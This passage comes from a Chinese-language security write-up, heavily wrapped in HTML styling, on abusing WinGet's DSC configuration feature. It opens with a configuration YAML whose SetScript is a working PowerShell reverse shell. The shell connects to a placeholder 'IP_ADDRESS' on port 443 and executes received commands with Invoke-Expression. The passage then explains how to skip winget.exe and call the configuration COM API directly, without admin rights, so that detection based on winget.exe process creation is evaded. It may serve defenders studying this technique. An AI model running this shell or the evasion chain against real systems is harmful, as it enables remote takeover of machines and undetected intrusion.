rgb(215, 58, 73);"><span leaf="">@</span></span><span leaf="">{ </span><span style="color: rgb(0, 92, 197);"><span leaf="">Result</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;OK&#34;</span></span><span leaf=""> }</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">SetScript</span></span><span leaf="">: </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$client</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Net</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Sockets</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">TcpClient</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">new</span></span><span leaf="">()</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$client</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Connect</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;IP_ADDRESS&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">443</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$stream</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$client</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">GetStream</span></span><span leaf="">()</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$writer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">IO</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">StreamWriter</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">new</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">$stream</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$reader</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> [</span><span style="color: rgb(0, 92, 197);"><span leaf="">System</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">IO</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">StreamReader</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">new</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">$stream</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$writer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">AutoFlush</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$true</span></span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$writer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">WriteLine</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[+] Shell from </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$env</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">:COMPUTERNAME as </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$env</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">:USERNAME via ConfigurationRemotingServer&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$true</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$writer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Write</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;DSC&gt; &#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$cmd</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$reader</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ReadLine</span></span><span leaf="">()</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(36, 41, 46);"><span leaf="">$cmd</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">eq</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;exit&#39;</span></span><span leaf="">) { </span><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf=""> }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">try</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$output</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Invoke</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Expression</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$cmd</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;&amp;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Out</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-String</span></span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$writer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">WriteLine</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">$output</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">              } </span><span style="color: rgb(215, 58, 73);"><span leaf="">catch</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$writer</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">WriteLine</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">$_</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Exception</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Message</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">              }</span><span leaf=""><br/></span><span leaf="">          }</span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$client</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">Close</span></span><span leaf="">()</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">TestScript</span></span><span leaf="">: </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""><br/></span><span style="color: rgb(36, 41, 46);"><span leaf="">$false</span></span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">configurationVersion</span></code></strong><p><span leaf="">：指定所使用的 DSC 配置格式版本，0.2.0 为当前标准。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">resource</span></code></strong><p><span leaf="">：指定所使用的 DSC 资源模块与类型，格式为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ModuleName/ResourceType</span></code><span leaf="">。此例中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PSDscResources</span></code><span leaf="">为模块类型，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Script</span></code><span leaf="">为资源类型，支持执行任意 PowerShell 代码。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">id</span></code></strong><p><span leaf="">：资源的自定义标签，可任意命名，不影响实际功能。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">allowPrerelease</span></code></strong><p><span leaf="">：允许 WinGet 在需要安装包或资源时使用预发布 (预览/测试版) 版本。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetScript</span></code></strong><p><span leaf="">：用于返回当前状态的 PowerShell 脚本，DSC 调用此脚本以获取当前配置情况。本例中使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">@{ Result = &#34;OK&#34; }</span></code><span leaf="">作为占位符。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SetScript</span></code></strong><p><span leaf="">：应用配置时实际执行的 PowerShell 脚本，其中的代码在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">内部运行。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TestScript</span></code></strong><p><span leaf="">：返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$true</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$false</span></code><span leaf="">的 PowerShell 脚本，DSC 优先调用此脚本检查目标状态是否已满足。若返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$true</span></code><span leaf="">，则跳过 SetScript；若返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$false</span></code><span leaf="">，则强制每次执行 SetScript。</span></p></li></ul><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从等式中去除 winget.exe</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现有的大多数 WinGet 滥用检测方案都聚焦于监控 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">的进程创建。但如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">根本不会运行呢？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft.Management.Configuration</span></code><span leaf="">命名空间中的 </span><strong><span leaf="">WinRT (Windows Runtime) COM API</span></strong><span leaf="">对外暴露其配置功能。该 API 注册于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft.DesktopAppInstaller</span></code><span leaf="">包的 AppX 清单中，系统上的任何进程均可通过标准 COM 激活方式调用它。核心 COM 服务器包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">PackageManager Class (WindowsPackageManagerServer)</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">ConfigurationStaticFunctions (DSC 配置引擎)</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">两者均无需管理员权限即可激活，且均会将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WindowsPackageManagerServer.exe</span></code><span leaf="">(微软签名的二进制文件) 作为 COM 服务器宿主进程启动。无需安装额外软件——只要系统已安装 WinGet，这些组件即已就位。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">COM API 技术的工作原理</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 附带两个 Windows 元数据 (.winmd) 文件：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft.Management.Configuration.winmd</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft.Management.Deployment.winmd</span></code><span leaf="">，用于描述其客户端和配置引擎向进程外调用者公开的 COM/WinRT 接口。通过针对这些元数据文件构建 .NET 互操作层，自定义应用程序可以直接调用配置引擎。调用链如下：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CoCreateInstance</span></code><p><span leaf="">激活 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationStaticFunctions</span></code></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateConfigurationSetProcessorFactoryAsync(&#34;pwsh&#34;)</span></code><p><span leaf="">创建 PowerShell DSC 处理器</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateConfigurationProcessor(factory)</span></code><p><span leaf="">创建配置处理器</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OpenConfigurationSet(yamlStream)</span></code><p><span leaf="">将 YAML 解析为配置集</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ApplySet(configSet, flags)</span></code><p><span leaf="">应用配置</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DSC 引擎会派生 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">来执行资源，但入口点已不再是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">。调用方应用程序直接向 Microsoft 签名的 WinRT 服务发出 COM 调用。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">互操作层</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从 .NET 访问 WinGet Configuration COM API 需要一个互操作层，将 WinRT 类型投影到托管代码中。我们在 marticliment&#39;s WinGet-API-from-CSharp 项目的基础上进行扩展，该项目为 WinGet 包管理 API 提供 COM 互操作能力。我们通过以下步骤添加了 Configuration API 支持：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft.Management.Configuration</span></code><span leaf="">加入 CsWinRT 投影</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">注册 </span><code style="font-family: 